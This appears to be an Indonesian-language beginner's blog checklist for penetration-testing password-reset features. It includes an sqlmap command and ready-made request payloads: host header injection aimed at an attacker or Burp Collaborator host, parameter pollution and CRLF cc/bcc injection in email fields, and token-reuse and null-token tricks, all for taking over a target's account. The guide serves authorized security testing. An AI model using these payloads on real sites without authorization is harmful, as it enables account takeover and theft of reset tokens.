Ceklis Web Pentesting Untuk Pemula — Forgot Password Testing

Rio Darmawan
4 min readJan 8, 2024

--

halo semua , kali ini saya akan menjelaskan beberapa checklist yang bisa kalian lakukan jika sedang melakukan pekerjaan penetration testing pada web application khususnya pada fitur lupa password, pada proses pentesting pada fitur ini kalian di harapkan sudah menginstall tools burpsuite.

SQL Injection Testing

1. ambil request form forgot password menggunakan burpsuite pada saat melakukan reset password
2. simpan request tersebut kedalam bentuk txt contoh: forgotpass.txt
3. jalankan sqlmap " sqlmap -r forgotpass.txt --level 5 --risk 3 "

#https://github.com/sqlmapproject/sqlmap

Use attacker token to victim email

1. (Attacker Account) Gunakan fitur reset password pada account attacker
2. (Attacker Account) Ambil token reset password
3. Gunakan token yang sudah kalian ambil untuk mengganti password target

POST /reset-password
...
...
email=target@gmail.com&token=$YOUR-TOKEN$

Check Weak Password Policy

1. Gunakan fitur reset password
2. Ganti password kalian dengan password yang lemah example : password1, asdf123456, jakarta1
3. jika berhasil maka aplikasi tersebut memiliki policy password yang lemah.

Host Header Injection

1. (Attacker Account) Gunakan fitur reset password pada account attacker
2. Ambil request reset password menggunakan burpsuite
3. Host pada header menjadi link collaborator burpsuite kalian
4. jika berhasil maka kalian akan melihat response token pada collaborator burpsuite kalian

POST /reset-password
Host: attacker.com[link collaborator burpsuite]
...
email=target@gmail.com

(Body Request) HTTP-Parameter-Pollution

1. (Attacker Account) Gunakan fitur reset password pada account attacker
2. (Attacker Account) Ambil request menggunakan burpsuite
3. (Attacker Account) Tambahkan emailId & email target pada body request password
4. jika berhasil maka email attacker akan menerima reset password dari account target

POST /reset-password
...
...
{
emailId:"target@gmail.com",
emailId:"attacker@gmail.com"
}

bisa juga mencoba body request seperti ini

#1
{"emailId":"target@gmail.com;Attacker@gmail.com","emailId":"target@gmail.com"}
#2
{"emailId":"target@gmail.com","emailId":"target@gmail.com;Attacker@gmail.com"}
#3
{"emailId":"target@gmail.com%20Attacker@gmail.com","emailId":"target@gmail.com"}
#4
{"emailId":"target@gmail.com","emailId":"target@gmail.com%20Attacker@gmail.com"}
#5
{"emailId":"target@mail.com%0D%0Acc:Attacker@mail.com","emailId":"target@mail.com"}
#6
{"emailId":"target@mail.com","emailId":"target@mail.com%0D%0Acc:Attacker@mail.com"}
#7
{"emailId": "target@mail.com%0D%0Abcc:Attacker@mail.com","emailId":"target@mail.com"}
#8
{"emailId":"target@mail.com","emailId": "target@mail.com%0D%0Abcc:Attacker@mail.com"}

(Body Request) Array Emails

1. (Attacker Account) Gunakan fitur reset password pada account attacker
2. (Attacker Account) Ambil body request reset password
3. tambahkan array dan email target

POST /reset-password
...
...
{"emailId":["target@gmail.com","attacker@mail.com"]}

(Body Request) Parameter bruteforce

#https://github.com/s0md3v/Arjun

./arjun -u web-app-testing.com/reset-password -m post

1. jika sudah mendapatkan parameter yang valid kalian bisa melanjutkan pengujian
2. (Attacker Account) Gunakan fitur reset password pada account attacker
3. (Attacker Account) Ambil body request reset password
4. Gunakan token yang sudah kalian ambil untuk mengganti password target
5. tambahkan parameter yang valid pada email body request.

example jika kalian menemukan paramater yang valid adalah href:

POST /reset-password
...
...
{
href:"[link collaborator burpsuite kalian]",
emailId:"target@gmail.com"
}

jika berhasil maka burpsuite collaborator kalian akan menerima token reset password dari target

Testing Null Token Reset Password

1. Gunakan fitur reset password
2. Ambil link reset password dari email kalian
3. hapus value dari parameter token
4. jika berhasil maka kalian dapat merubah password email lain tanpa menggunakan token

before
http://example.com/reset?emailId=target@gmail.com&token=asdadsahj-qwhejqhewj
after
http://example.com/reset?emailId=target@gmail.com&token=

atau bisa juga ubah ke 000000
http://example.com/reset?emailId=target@gmail.com&token=0000000000

Testing Old Token Reset Password

1. Gunakan fitur reset password
2. Ambil token reset password
3. Ubah password kalian
4. Gunakan fitur reset password lagi
5. Ambil link reset password dari email kalian
6. gunakan token reset yang sudah kalian ambil di awal tadi
7. jika berhasil maka aplikasi tidak ada validasi token yang sudah terpakai reset password

http://example.com/reset?emailId=target@gmail.com&token=oldtoken

HTML injection in Email

1. (Attacker Account) Gunakan fitur reset password pada account attacker
2. (Attacker Account) Ambil body request reset password
3. ubah body request dengan menambahkan tag html

POST /reset-password
...
...
{
email=<h1>target@gmail.com</h1>
}

Reset password link sent over unsecured http protocol

- Kirim request reset password
- check url reset password apakah pakai http atau https
- jika pake http bisa direport

ref : https://hackerone.com/reports/1888915

#contributor : https://dzakir.medium.com/

OTP Bruteforce

- jika ada reset password yang menggunakan OTP bisa dicek apakah dia mempunyai rate limit input otp
- jika tidak ada bisa dicoba intruder burpsuite

#contributor : https://dzakir.medium.com/

OTP Response Manipulation

- reset password via otp
- lihat response apakah response salah dan benar hanya mengganti status code atau hanya mengganti true/false

#contributor : https://dzakir.medium.com/

Token password disclosure via referrer

- Kirim request reset password
- klik dan jangan ubah password
- kunjungi website lain ex: google.com
- check header referrer apakah ada token password yg ke display
#contributor : https://dzakir.medium.com/

User Enumeration

- Jika reset password menggunakan username dan ketika memasukan username terdapat alert seperti:
usernameXXX tidak ditemukan, usernameXXX tidak terdaftar
- vuln username enumeration
#contributor : https://dzakir.medium.com/

Denial of Service Long String Password

- reset password
- masukan password ex: 5000 kata
- cek apakah web menjadi lambat atau tidak
#contributor : https://dzakir.medium.com/

Token password guessable

- cek apakah token reset password dapat ditebak
biasanya menggunakan format seperti:
. timestamp
. userid
. emailid
. firstname / lastname
. date of birth
#contributor : https://dzakir.medium.com/

cukup sekian kurang lebihnya mohon maaf semoga bermanfaat untuk progress pentest yang sedang kalian tekuni. terimakasih.

special tag makasih untuk mas Abdullah Mudzakir sudah menambahkan ceklis pada artikel ini.

artikel sebelumnya : Ceklis Web Pentesting Untuk Pemula — Registration Feature Testing

reference : https://hackerone.com/
https://book.hacktricks.xyz/

--

--